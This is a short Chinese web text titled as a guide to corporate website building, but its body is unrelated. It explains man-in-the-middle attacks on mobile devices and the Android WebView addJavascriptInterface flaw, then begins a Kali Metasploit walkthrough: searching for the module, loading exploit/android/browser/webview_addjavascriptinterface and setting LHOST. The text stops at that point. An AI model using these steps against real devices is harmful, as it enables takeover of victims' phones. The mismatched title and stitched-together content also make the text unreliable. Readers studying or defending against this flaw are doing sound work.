企业官网建设流程全解析

1. 中间人攻击

由于用户经常连接公共wi-fi，中间人攻击是针对移动设备最常见的攻击之一。如果能对设备发起中间人攻击，不仅导致在用户连接不安全的网络时将数据提供给攻击者，在某些情况下还可能让攻击者篡改用户的通讯数据并利用漏洞。webview的addjavascriptInterface漏洞就是一个很好的例子，攻击者只需要拦截通讯，并在http响应中注入任意的javascript脚本，就能获取受害者设备的全部访问权限。

接下来展示使用kali验证webview的addjavaascriptinterface漏洞：

首先，查找模块：search addjavascript

加载漏洞模块：

use exploit/android/browser/webview_addjavascriptinterface

配置所需参数：set lhost 192.168.44.128